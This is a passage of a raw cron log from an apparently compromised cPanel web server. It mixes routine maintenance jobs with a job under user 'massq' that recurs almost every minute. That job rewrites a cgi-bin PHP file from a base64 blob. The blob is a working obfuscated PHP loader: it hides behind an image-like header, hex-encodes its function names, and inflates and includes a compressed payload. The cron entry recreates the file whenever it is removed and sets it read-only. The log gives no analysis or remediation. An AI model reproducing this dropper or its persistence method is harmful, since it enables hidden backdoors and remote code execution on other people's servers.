pZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:11:01 server CROND[28411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:11:01 server CROND[28412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:12:01 server CROND[28799]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 01:12:01 server CROND[28801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:12:01 server CROND[28800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:12:01 server CROND[28802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:13:01 server CROND[29184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:13:01 server CROND[29186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:13:01 server CROND[29185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:14:01 server CROND[29569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:14:01 server CROND[29570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:14:01 server CROND[29571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:15:01 server CROND[29965]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:15:01 server CROND[29966]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:15:01 server CROND[29967]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 01:15:01 server CROND[29970]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 01:15:01 server CROND[29971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:15:01 server CROND[29973]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 01:15:01 server CROND[29976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:15:01 server CROND[29974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:16:01 server CROND[30972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:16:01 server CROND[30973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:16:01 server CROND[30974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:17:01 server CROND[31359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:17:01 server CROND[31361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:17:01 server CROND[31360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:18:01 server CROND[31769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:18:01 server CROND[31771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:18:01 server CROND[31770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:19:01 server CROND[32158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:19:01 server CROND[32157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:19:01 server CROND[32159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:20:01 server CROND[32567]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 01:20:01 server CROND[32569]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 01:20:01 server CROND[32571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:20:01 server CROND[32570]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 01:20:01 server CROND[32573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:20:01 server CROND[32575]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:20:01 server CROND[32574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:20:01 server CROND[32576]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:20:01 server CROND[32577]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 01:21:01 server CROND[997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:21:01 server CROND[998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:21:01 server CROND[999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:22:01 server CROND[1472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:22:01 server CROND[1473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:22:01 server CROND[1474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:23:01 server CROND[1947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:23:01 server CROND[1946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:23:01 server CROND[1945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
